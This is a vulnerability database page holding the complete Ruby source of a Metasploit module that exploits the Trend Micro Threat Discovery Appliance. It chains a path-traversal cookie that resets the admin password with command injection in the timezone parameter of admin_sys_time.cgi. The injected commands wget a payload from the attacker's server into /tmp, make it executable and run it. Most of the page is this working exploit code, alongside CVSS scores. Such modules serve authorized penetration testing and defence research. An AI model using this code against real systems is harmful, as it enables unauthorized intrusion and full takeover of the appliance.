Lucene search

K
metasploitMr_me <[email protected]>, Roberto Suggi Liverani <Roberto Suggi Liverani @malerisch>MSF:EXPLOIT-MULTI-HTTP-TRENDMICRO_THREAT_DISCOVERY_ADMIN_SYS_TIME_CMDI-
HistoryApr 10, 2017 - 6:32 p.m.

Trend Micro Threat Discovery Appliance admin_sys_time.cgi Remote Command Execution

2017-04-1018:32:58
mr_me <[email protected]>, Roberto Suggi Liverani <Roberto Suggi Liverani @malerisch>
www.rapid7.com
17

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.967 High

EPSS

Percentile

99.6%

This module exploits two vulnerabilities the Trend Micro Threat Discovery Appliance. The first is an authentication bypass vulnerability via a file delete in logoff.cgi which resets the admin password back to ‘admin’ upon a reboot (CVE-2016-7552). The second is a cmdi flaw using the timezone parameter in the admin_sys_time.cgi interface (CVE-2016-7547). Note: You have the option to use the authentication bypass or not since it requires that the server is rebooted. The password reset will render the authentication useless. Typically, if an administrator cant login, they will bounce the box. Therefore, this module performs a heartbeat request until the box is bounced and then attempts to login and to perform the command injection. This module has been tested on version 2.6.1062r1 of the appliance.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Trend Micro Threat Discovery Appliance admin_sys_time.cgi Remote Command Execution',
      'Description' => %q{
          This module exploits two vulnerabilities the Trend Micro Threat Discovery Appliance.
          The first is an authentication bypass vulnerability via a file delete in logoff.cgi
          which resets the admin password back to 'admin' upon a reboot (CVE-2016-7552).
          The second is a cmdi flaw using the timezone parameter in the admin_sys_time.cgi
          interface (CVE-2016-7547).

          Note: You have the option to use the authentication bypass or not since it requires
          that the server is rebooted. The password reset will render the authentication useless.
          Typically, if an administrator cant login, they will bounce the box. Therefore, this
          module performs a heartbeat request until the box is bounced and then attempts to login
          and to perform the command injection. This module has been tested on version 2.6.1062r1
          of the appliance.
      },
      'Author'       =>
        [
          'mr_me <[email protected]>',    # vuln + msf
          'Roberto Suggi Liverani @malerisch',       # vuln + msf
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'URL', 'https://asciinema.org/a/112480'], # demo
          [ 'CVE', '2016-7552'],                      # auth bypass
          [ 'CVE', '2016-7547'],                      # cmdi
        ],
      'Platform'    => 'linux',
      'Arch'        => ARCH_X86,
      'Privileged'  => true,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Targets'     =>
        [
          [ 'Trend Micro Threat Discovery Appliance 2.6.1062r1', {} ]
        ],
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2017-04-10'))

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('TARGETURI', [true, 'The target URI', '/']),
        OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin']),
        OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),
        OptBool.new('AUTHBYPASS', [ true, 'Bypass the authentication', true ]),

      ])
  end

  def check
    if do_login
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'cgi-bin/about.cgi'),
        'cookie' => @cookie,
        'method' =>  'GET',
        }, 1)
      if res and res.code == 200 and res.body =~ /About Trend Micro/
        version = "#{$1}" if res.body =~ /var ver_str = new String\("(.*)"\)/
        case version
        when /2.6.1062/
          return Exploit::CheckCode::Vulnerable
        end
      end
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    if datastore['AUTHBYPASS']
      print_status("Bypassing authentication...")
      if reset_password
        print_good("The password has been reset!")
        print_status("Waiting for the administrator to reboot...")
        pwn_after_reboot
      end
    else
      if do_login
        pwn
      else
        fail_with(Failure::NoAccess, "Authentication failed")
      end
    end
  end

  def reset_password
    c = "session_id=../../../opt/TrendMicro/MinorityReport/etc/igsa.conf"
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'cgi-bin/logoff.cgi'),
      'method' =>  'GET',
      'cookie' => c,
      })

    if res and res.code == 200 and res.headers.to_s =~ /Backtrace/
      return true
    end
    return false
  end

  def pwn
    start_http_server
    print_good("Logged in")
    download_exec
  end

  def pwn_after_reboot
    @rebooted = false
    while !@rebooted
      if do_login
        @rebooted = true
        pwn
      end
    end
  end

  def on_request_uri(cli, request)
    if (not @pl)
      print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
      return
    end
    print_status("#{rhost}:#{rport} - Sending the payload to the server...")
    @elf_sent = true
    send_response(cli, @pl)
  end

  def start_http_server
    @pl = generate_payload_exe
    @elf_sent = false

    downfile = rand_text_alpha(8+rand(8))
    resource_uri = '/' + downfile

    # do not use SSL for the attacking web server
    if datastore['SSL']
      ssl_restore = true
      datastore['SSL'] = false
    end

    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
      srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
    else
      srv_host = datastore['SRVHOST']
    end

    @service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
    service_url_payload = srv_host + resource_uri

    print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
    start_service({'Uri' => {
      'Proc' => Proc.new { |cli, req|
        on_request_uri(cli, req)
      },
      'Path' => resource_uri
    }})

    datastore['SSL'] = true if ssl_restore
    connect
  end

  def exec(cmd)
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'cgi-bin/admin_sys_time.cgi'),
      'cookie' => @cookie,
      'method' =>  'POST',
        'vars_post' => {
          'act'      => 'save',
          'timezone' => cmd,
        }
      }, 1)
  end

  def download_exec
    @bd = rand_text_alpha(8+rand(8))
    register_file_for_cleanup("/tmp/#{@bd}")
    exec("|`wget #{@service_url} -O /tmp/#{@bd}`")
    exec("|`chmod 755 /tmp/#{@bd}`")
    exec("|`/tmp/#{@bd}`")

    # we need to delay, for the stager
    select(nil, nil, nil, 5)
  end

  def do_login

    begin
      login = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'cgi-bin/logon.cgi'),
        'method' =>  'POST',
          'vars_post' => {
            'passwd'         => datastore['PASSWORD'],
            'isCookieEnable' => 1,
          }
        })

    # these are needed due to the reboot
    rescue Rex::ConnectionRefused
      return false
    rescue Rex::ConnectionTimeout
      return false
    end
    if login and login.code == 200 and login.body =~ /frame\.cgi/
      @cookie = "session_id=#{$1};" if login.get_cookies =~ /session_id=(.*);/
      return true
    end
    return false
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.967 High

EPSS

Percentile

99.6%

Related for MSF:EXPLOIT-MULTI-HTTP-TRENDMICRO_THREAT_DISCOVERY_ADMIN_SYS_TIME_CMDI-